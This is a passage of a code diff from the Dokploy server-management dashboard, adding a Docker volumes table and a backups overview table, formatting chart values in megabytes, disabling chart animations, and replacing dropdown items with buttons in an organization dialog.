||||||
|
onPaginationChange: setPagination,
|
||||||
|
getCoreRowModel: getCoreRowModel(),
|
||||||
|
getSortedRowModel: getSortedRowModel(),
|
||||||
|
getPaginationRowModel: getPaginationRowModel(),
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full">
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||||
|
<div className="rounded-xl bg-background shadow-md ">
|
||||||
|
<CardHeader className="">
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<HardDrive className="size-6 text-muted-foreground self-center" />
|
||||||
|
Volumes
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Manage the Docker volumes of the selected server.
|
||||||
|
</CardDescription>
|
||||||
|
</CardHeader>
|
||||||
|
|
||||||
|
<CardContent className="space-y-4 py-8 border-t">
|
||||||
|
{isLoading ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : !volumes?.length ? (
|
||||||
|
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||||
|
<div className="rounded-full bg-muted p-4">
|
||||||
|
<HardDrive className="size-10 text-muted-foreground" />
|
||||||
|
</div>
|
||||||
|
<div className="space-y-1 text-center">
|
||||||
|
<p className="text-sm font-medium">No volumes found</p>
|
||||||
|
<p className="max-w-sm text-sm text-muted-foreground">
|
||||||
|
Docker volumes created on this server will appear here.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<Input
|
||||||
|
placeholder="Search by name..."
|
||||||
|
value={globalFilter}
|
||||||
|
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||||
|
className="max-w-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="rounded-md border overflow-x-auto">
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
{table.getHeaderGroups().map((headerGroup) => (
|
||||||
|
<TableRow key={headerGroup.id}>
|
||||||
|
{headerGroup.headers.map((header) => (
|
||||||
|
<TableHead key={header.id}>
|
||||||
|
{header.isPlaceholder
|
||||||
|
? null
|
||||||
|
: flexRender(
|
||||||
|
header.column.columnDef.header,
|
||||||
|
header.getContext(),
|
||||||
|
)}
|
||||||
|
</TableHead>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))}
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{table.getRowModel().rows?.length ? (
|
||||||
|
table.getRowModel().rows.map((row) => (
|
||||||
|
<TableRow key={row.id}>
|
||||||
|
{row.getVisibleCells().map((cell) => (
|
||||||
|
<TableCell key={cell.id}>
|
||||||
|
{flexRender(
|
||||||
|
cell.column.columnDef.cell,
|
||||||
|
cell.getContext(),
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<TableRow>
|
||||||
|
<TableCell
|
||||||
|
colSpan={columns.length}
|
||||||
|
className="h-24 text-center text-muted-foreground"
|
||||||
|
>
|
||||||
|
No volumes match your filters.
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
)}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
</div>
|
||||||
|
{table.getPageCount() > 1 && (
|
||||||
|
<div className="flex items-center justify-end gap-4">
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||||
|
{table.getPageCount()}
|
||||||
|
</span>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.previousPage()}
|
||||||
|
disabled={!table.getCanPreviousPage()}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.nextPage()}
|
||||||
|
disabled={!table.getCanNextPage()}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -223,7 +223,7 @@ export const ShowHome = () => {
|
|||||||
</div>
|
</div>
|
||||||
{canReadDeployments && (
|
{canReadDeployments && (
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/deployments"
|
href="/dashboard/overview?tab=deployments"
|
||||||
className="text-xs text-muted-foreground hover:text-foreground transition-colors"
|
className="text-xs text-muted-foreground hover:text-foreground transition-colors"
|
||||||
>
|
>
|
||||||
view all →
|
view all →
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
|
||||||
import { format } from "date-fns";
|
import { format } from "date-fns";
|
||||||
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
||||||
import {
|
import {
|
||||||
@@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
|||||||
const transformedData = accumulativeData.map((item, index) => ({
|
const transformedData = accumulativeData.map((item, index) => ({
|
||||||
time: item.time,
|
time: item.time,
|
||||||
name: `Point ${index + 1}`,
|
name: `Point ${index + 1}`,
|
||||||
readMb: item.value.readMb,
|
readMb: toMb(item.value.readMb),
|
||||||
writeMb: item.value.writeMb,
|
writeMb: toMb(item.value.writeMb),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
return (
|
return (
|
||||||
@@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
|||||||
}}
|
}}
|
||||||
formatter={(value, name) => {
|
formatter={(value, name) => {
|
||||||
const label = name === "readMb" ? "Read" : "Write";
|
const label = name === "readMb" ? "Read" : "Write";
|
||||||
return [`${value} MB`, label];
|
return [formatMb(Number(value)), label];
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
}
|
}
|
||||||
/>
|
/>
|
||||||
<Area
|
<Area
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
dataKey="readMb"
|
dataKey="readMb"
|
||||||
stroke="var(--color-readMb)"
|
stroke="var(--color-readMb)"
|
||||||
fill="url(#fillBlockRead)"
|
fill="url(#fillBlockRead)"
|
||||||
@@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
|||||||
/>
|
/>
|
||||||
<Area
|
<Area
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
dataKey="writeMb"
|
dataKey="writeMb"
|
||||||
stroke="var(--color-writeMb)"
|
stroke="var(--color-writeMb)"
|
||||||
fill="url(#fillBlockWrite)"
|
fill="url(#fillBlockWrite)"
|
||||||
|
|||||||
@@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
|
|||||||
/>
|
/>
|
||||||
<Area
|
<Area
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
dataKey="usage"
|
dataKey="usage"
|
||||||
stroke="var(--color-usage)"
|
stroke="var(--color-usage)"
|
||||||
fill="url(#fillCpu)"
|
fill="url(#fillCpu)"
|
||||||
|
|||||||
@@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
|
|||||||
/>
|
/>
|
||||||
<Area
|
<Area
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
dataKey="usedGb"
|
dataKey="usedGb"
|
||||||
stroke="var(--color-usedGb)"
|
stroke="var(--color-usedGb)"
|
||||||
fill="url(#fillDiskUsed)"
|
fill="url(#fillDiskUsed)"
|
||||||
|
|||||||
@@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
|
|||||||
/>
|
/>
|
||||||
<Area
|
<Area
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
dataKey="usage"
|
dataKey="usage"
|
||||||
stroke="var(--color-usage)"
|
stroke="var(--color-usage)"
|
||||||
fill="url(#fillMemory)"
|
fill="url(#fillMemory)"
|
||||||
|
|||||||
+6
-3
@@ -1,3 +1,4 @@
|
|||||||
|
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
|
||||||
import { format } from "date-fns";
|
import { format } from "date-fns";
|
||||||
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
||||||
import {
|
import {
|
||||||
@@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
|||||||
const transformedData = accumulativeData.map((item, index) => ({
|
const transformedData = accumulativeData.map((item, index) => ({
|
||||||
time: item.time,
|
time: item.time,
|
||||||
name: `Point ${index + 1}`,
|
name: `Point ${index + 1}`,
|
||||||
inMB: item.value.inputMb,
|
inMB: toMb(item.value.inputMb),
|
||||||
outMB: item.value.outputMb,
|
outMB: toMb(item.value.outputMb),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
return (
|
return (
|
||||||
@@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
|||||||
}}
|
}}
|
||||||
formatter={(value, name) => {
|
formatter={(value, name) => {
|
||||||
const label = name === "inMB" ? "In" : "Out";
|
const label = name === "inMB" ? "In" : "Out";
|
||||||
return [`${value} MB`, label];
|
return [formatMb(Number(value)), label];
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
}
|
}
|
||||||
/>
|
/>
|
||||||
<Area
|
<Area
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
dataKey="inMB"
|
dataKey="inMB"
|
||||||
stroke="var(--color-inMB)"
|
stroke="var(--color-inMB)"
|
||||||
fill="url(#fillNetIn)"
|
fill="url(#fillNetIn)"
|
||||||
@@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
|||||||
/>
|
/>
|
||||||
<Area
|
<Area
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
dataKey="outMB"
|
dataKey="outMB"
|
||||||
stroke="var(--color-outMB)"
|
stroke="var(--color-outMB)"
|
||||||
fill="url(#fillNetOut)"
|
fill="url(#fillNetOut)"
|
||||||
|
|||||||
+3
-2
@@ -1,3 +1,4 @@
|
|||||||
|
import { formatMb } from "@dokploy/server/monitoring/units";
|
||||||
import { useEffect, useState } from "react";
|
import { useEffect, useState } from "react";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import { Progress } from "@/components/ui/progress";
|
import { Progress } from "@/components/ui/progress";
|
||||||
@@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
|
|||||||
<CardContent>
|
<CardContent>
|
||||||
<div className="flex flex-col gap-2 w-full">
|
<div className="flex flex-col gap-2 w-full">
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">
|
||||||
{`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `}
|
{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
|
||||||
</span>
|
</span>
|
||||||
<DockerBlockChart accumulativeData={accumulativeData.block} />
|
<DockerBlockChart accumulativeData={accumulativeData.block} />
|
||||||
</div>
|
</div>
|
||||||
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
|
|||||||
<CardContent>
|
<CardContent>
|
||||||
<div className="flex flex-col gap-2 w-full">
|
<div className="flex flex-col gap-2 w-full">
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">
|
||||||
{`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `}
|
{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
|
||||||
</span>
|
</span>
|
||||||
<DockerNetworkChart accumulativeData={accumulativeData.network} />
|
<DockerNetworkChart accumulativeData={accumulativeData.network} />
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
|
|||||||
name="Write"
|
name="Write"
|
||||||
dataKey="write"
|
dataKey="write"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillWrite)"
|
fill="url(#fillWrite)"
|
||||||
stroke="hsl(142, 71%, 45%)"
|
stroke="hsl(142, 71%, 45%)"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
@@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
|
|||||||
name="Read"
|
name="Read"
|
||||||
dataKey="read"
|
dataKey="read"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillRead)"
|
fill="url(#fillRead)"
|
||||||
stroke="hsl(217, 91%, 60%)"
|
stroke="hsl(217, 91%, 60%)"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
|
|||||||
@@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
|
|||||||
name="CPU"
|
name="CPU"
|
||||||
dataKey="cpu"
|
dataKey="cpu"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillCPU)"
|
fill="url(#fillCPU)"
|
||||||
stroke="hsl(var(--chart-1))"
|
stroke="hsl(var(--chart-1))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
|
|||||||
@@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
|
|||||||
name="Memory"
|
name="Memory"
|
||||||
dataKey="memory"
|
dataKey="memory"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillMemory)"
|
fill="url(#fillMemory)"
|
||||||
stroke="hsl(var(--chart-2))"
|
stroke="hsl(var(--chart-2))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
|
|||||||
+2
@@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
|
|||||||
name="Input"
|
name="Input"
|
||||||
dataKey="input"
|
dataKey="input"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillInput)"
|
fill="url(#fillInput)"
|
||||||
stroke="hsl(var(--chart-3))"
|
stroke="hsl(var(--chart-3))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
@@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
|
|||||||
name="Output"
|
name="Output"
|
||||||
dataKey="output"
|
dataKey="output"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillOutput)"
|
fill="url(#fillOutput)"
|
||||||
stroke="hsl(var(--chart-4))"
|
stroke="hsl(var(--chart-4))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
|
|||||||
@@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
|
|||||||
name="CPU"
|
name="CPU"
|
||||||
dataKey="cpu"
|
dataKey="cpu"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillCPU)"
|
fill="url(#fillCPU)"
|
||||||
stroke="hsl(var(--chart-1))"
|
stroke="hsl(var(--chart-1))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
|
|||||||
@@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
|
|||||||
yAxisId="left"
|
yAxisId="left"
|
||||||
dataKey="memUsed"
|
dataKey="memUsed"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillMemory)"
|
fill="url(#fillMemory)"
|
||||||
stroke="hsl(var(--chart-2))"
|
stroke="hsl(var(--chart-2))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
|
|||||||
@@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
|
|||||||
name="Network In"
|
name="Network In"
|
||||||
dataKey="networkIn"
|
dataKey="networkIn"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillNetworkIn)"
|
fill="url(#fillNetworkIn)"
|
||||||
stroke="hsl(var(--chart-3))"
|
stroke="hsl(var(--chart-3))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
@@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
|
|||||||
name="Network Out"
|
name="Network Out"
|
||||||
dataKey="networkOut"
|
dataKey="networkOut"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="url(#fillNetworkOut)"
|
fill="url(#fillNetworkOut)"
|
||||||
stroke="hsl(var(--chart-4))"
|
stroke="hsl(var(--chart-4))"
|
||||||
strokeWidth={2}
|
strokeWidth={2}
|
||||||
|
|||||||
@@ -14,7 +14,6 @@ import {
|
|||||||
DialogTitle,
|
DialogTitle,
|
||||||
DialogTrigger,
|
DialogTrigger,
|
||||||
} from "@/components/ui/dialog";
|
} from "@/components/ui/dialog";
|
||||||
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
|
|
||||||
import {
|
import {
|
||||||
Form,
|
Form,
|
||||||
FormControl,
|
FormControl,
|
||||||
@@ -103,16 +102,19 @@ export function AddOrganization({ organizationId }: Props) {
|
|||||||
<Dialog open={open} onOpenChange={setOpen}>
|
<Dialog open={open} onOpenChange={setOpen}>
|
||||||
<DialogTrigger asChild>
|
<DialogTrigger asChild>
|
||||||
{organizationId ? (
|
{organizationId ? (
|
||||||
<DropdownMenuItem
|
<Button
|
||||||
className="group cursor-pointer hover:bg-blue-500/10"
|
type="button"
|
||||||
onSelect={(e) => e.preventDefault()}
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="group hover:bg-blue-500/10"
|
||||||
|
title="Edit organization"
|
||||||
>
|
>
|
||||||
<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
|
<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
|
||||||
</DropdownMenuItem>
|
</Button>
|
||||||
) : (
|
) : (
|
||||||
<DropdownMenuItem
|
<button
|
||||||
className="gap-2 p-2"
|
type="button"
|
||||||
onSelect={(e) => e.preventDefault()}
|
className="flex w-full items-center gap-2 rounded-md p-2 text-left text-sm hover:bg-accent hover:text-accent-foreground"
|
||||||
>
|
>
|
||||||
<div className="flex size-6 items-center justify-center rounded-md border bg-background">
|
<div className="flex size-6 items-center justify-center rounded-md border bg-background">
|
||||||
<Plus className="size-4" />
|
<Plus className="size-4" />
|
||||||
@@ -120,7 +122,7 @@ export function AddOrganization({ organizationId }: Props) {
|
|||||||
<div className="font-medium text-muted-foreground">
|
<div className="font-medium text-muted-foreground">
|
||||||
Add organization
|
Add organization
|
||||||
</div>
|
</div>
|
||||||
</DropdownMenuItem>
|
</button>
|
||||||
)}
|
)}
|
||||||
</DialogTrigger>
|
</DialogTrigger>
|
||||||
<DialogContent className="sm:max-w-[425px]">
|
<DialogContent className="sm:max-w-[425px]">
|
||||||
|
|||||||
@@ -0,0 +1,254 @@
|
|||||||
|
import type { OverviewBackup } from "@dokploy/server/services/overview-shared";
|
||||||
|
import { getBackupOverviewIcon } from "@dokploy/server/services/overview-shared";
|
||||||
|
import {
|
||||||
|
ArrowUpDown,
|
||||||
|
CircuitBoard,
|
||||||
|
GlobeIcon,
|
||||||
|
Loader2,
|
||||||
|
RefreshCw,
|
||||||
|
ServerIcon,
|
||||||
|
} from "lucide-react";
|
||||||
|
import Link from "next/link";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Card } from "@/components/ui/card";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
const STATUS_VARIANT: Record<string, "default" | "destructive" | "secondary"> =
|
||||||
|
{
|
||||||
|
done: "default",
|
||||||
|
running: "secondary",
|
||||||
|
error: "destructive",
|
||||||
|
cancelled: "destructive",
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderRowIcon = (row: OverviewBackup) => {
|
||||||
|
const icon = getBackupOverviewIcon(row);
|
||||||
|
if (icon.kind === "db") {
|
||||||
|
const Icon = DB_ENGINE_ICONS[icon.engine as keyof typeof DB_ENGINE_ICONS];
|
||||||
|
return Icon ? <Icon className="h-5 w-5" /> : null;
|
||||||
|
}
|
||||||
|
if (icon.kind === "webServer") {
|
||||||
|
return <ServerIcon className="h-5 w-5 text-muted-foreground" />;
|
||||||
|
}
|
||||||
|
return icon.type === "compose" ? (
|
||||||
|
<CircuitBoard className="h-5 w-5" />
|
||||||
|
) : (
|
||||||
|
<GlobeIcon className="h-5 w-5" />
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const detailHref = (row: OverviewBackup) => {
|
||||||
|
if (!row.projectId || !row.environmentId || !row.serviceOwnerId) return null;
|
||||||
|
return `/dashboard/project/${row.projectId}/environment/${row.environmentId}/services/${row.serviceOwnerType}/${row.serviceOwnerId}`;
|
||||||
|
};
|
||||||
|
|
||||||
|
export const ShowOverviewBackups = () => {
|
||||||
|
const {
|
||||||
|
data: backups,
|
||||||
|
isFetching,
|
||||||
|
isFetched,
|
||||||
|
isError,
|
||||||
|
refetch,
|
||||||
|
} = api.overview.backups.useQuery(undefined, {
|
||||||
|
staleTime: Number.POSITIVE_INFINITY,
|
||||||
|
refetchOnWindowFocus: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
const [destinationId, setDestinationId] = useState("all");
|
||||||
|
const [serviceOwnerId, setServiceOwnerId] = useState("all");
|
||||||
|
const [sortDirection, setSortDirection] = useState<"asc" | "desc">("desc");
|
||||||
|
|
||||||
|
const destinations = useMemo(() => {
|
||||||
|
if (!backups) return [];
|
||||||
|
const map = new Map<string, string>();
|
||||||
|
for (const row of backups) map.set(row.destinationId, row.destinationName);
|
||||||
|
return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
|
||||||
|
}, [backups]);
|
||||||
|
|
||||||
|
const services = useMemo(() => {
|
||||||
|
if (!backups) return [];
|
||||||
|
const map = new Map<string, string>();
|
||||||
|
for (const row of backups) {
|
||||||
|
if (row.serviceOwnerId) map.set(row.serviceOwnerId, row.serviceName);
|
||||||
|
}
|
||||||
|
return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
|
||||||
|
}, [backups]);
|
||||||
|
|
||||||
|
const rows = useMemo(() => {
|
||||||
|
if (!backups) return [];
|
||||||
|
const filtered = backups.filter(
|
||||||
|
(row) =>
|
||||||
|
(destinationId === "all" || row.destinationId === destinationId) &&
|
||||||
|
(serviceOwnerId === "all" || row.serviceOwnerId === serviceOwnerId),
|
||||||
|
);
|
||||||
|
const sorted = [...filtered].sort(
|
||||||
|
(a, b) =>
|
||||||
|
new Date(a.createdAt).getTime() - new Date(b.createdAt).getTime(),
|
||||||
|
);
|
||||||
|
return sortDirection === "asc" ? sorted : sorted.reverse();
|
||||||
|
}, [backups, destinationId, serviceOwnerId, sortDirection]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||||
|
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||||
|
<div className="flex flex-wrap items-center gap-3 justify-between">
|
||||||
|
<h3 className="text-lg font-medium">
|
||||||
|
Backups{" "}
|
||||||
|
{isFetched && (
|
||||||
|
<span className="text-sm font-normal text-muted-foreground">
|
||||||
|
({rows.length})
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</h3>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
{isFetched && (
|
||||||
|
<>
|
||||||
|
<Select value={destinationId} onValueChange={setDestinationId}>
|
||||||
|
<SelectTrigger className="w-[180px]">
|
||||||
|
<SelectValue placeholder="Destination" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All destinations</SelectItem>
|
||||||
|
{destinations.map((d) => (
|
||||||
|
<SelectItem key={d.id} value={d.id}>
|
||||||
|
{d.name}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<Select
|
||||||
|
value={serviceOwnerId}
|
||||||
|
onValueChange={setServiceOwnerId}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[180px]">
|
||||||
|
<SelectValue placeholder="Service" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All services</SelectItem>
|
||||||
|
{services.map((s) => (
|
||||||
|
<SelectItem key={s.id} value={s.id}>
|
||||||
|
{s.name}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() =>
|
||||||
|
setSortDirection((d) => (d === "desc" ? "asc" : "desc"))
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<ArrowUpDown className="size-4 mr-2" />
|
||||||
|
{sortDirection === "desc" ? "Newest first" : "Oldest first"}
|
||||||
|
</Button>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
<Button onClick={() => refetch()} disabled={isFetching} size="sm">
|
||||||
|
{isFetching ? (
|
||||||
|
<Loader2 className="size-4 animate-spin mr-2" />
|
||||||
|
) : (
|
||||||
|
<RefreshCw className="size-4 mr-2" />
|
||||||
|
)}
|
||||||
|
Refresh
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{isFetching && !isFetched && (
|
||||||
|
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||||
|
<Loader2 className="size-4 animate-spin" />
|
||||||
|
Loading backups...
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{isFetched && isError && (
|
||||||
|
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||||
|
<span>Failed to load backups.</span>
|
||||||
|
<Button variant="outline" size="sm" onClick={() => refetch()}>
|
||||||
|
Retry
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{isFetched && !isError && rows.length === 0 && (
|
||||||
|
<div className="flex items-center justify-center py-16 text-muted-foreground">
|
||||||
|
No backups match the current filters.
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{isFetched && !isError && rows.length > 0 && (
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
<TableRow>
|
||||||
|
<TableHead>Date</TableHead>
|
||||||
|
<TableHead>Service</TableHead>
|
||||||
|
<TableHead>Destination</TableHead>
|
||||||
|
<TableHead>Kind</TableHead>
|
||||||
|
<TableHead>Status</TableHead>
|
||||||
|
</TableRow>
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{rows.map((row) => {
|
||||||
|
const href = detailHref(row);
|
||||||
|
const name = href ? (
|
||||||
|
<Link href={href} className="hover:underline">
|
||||||
|
{row.serviceName}
|
||||||
|
</Link>
|
||||||
|
) : (
|
||||||
|
row.serviceName
|
||||||
|
);
|
||||||
|
return (
|
||||||
|
<TableRow key={row.deploymentId}>
|
||||||
|
<TableCell className="whitespace-nowrap text-sm">
|
||||||
|
{new Date(row.createdAt).toLocaleString()}
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
{renderRowIcon(row)}
|
||||||
|
{name}
|
||||||
|
</div>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>{row.destinationName}</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<Badge variant="outline">
|
||||||
|
{row.kind === "backup" ? "Database" : "Volume"}
|
||||||
|
</Badge>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
{row.status && (
|
||||||
|
<Badge
|
||||||
|
variant={STATUS_VARIANT[row.status] ?? "secondary"}
|
||||||
|
>
|
||||||
|
{row.status}
|
||||||
|
</Badge>
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
)}
|
||||||
|
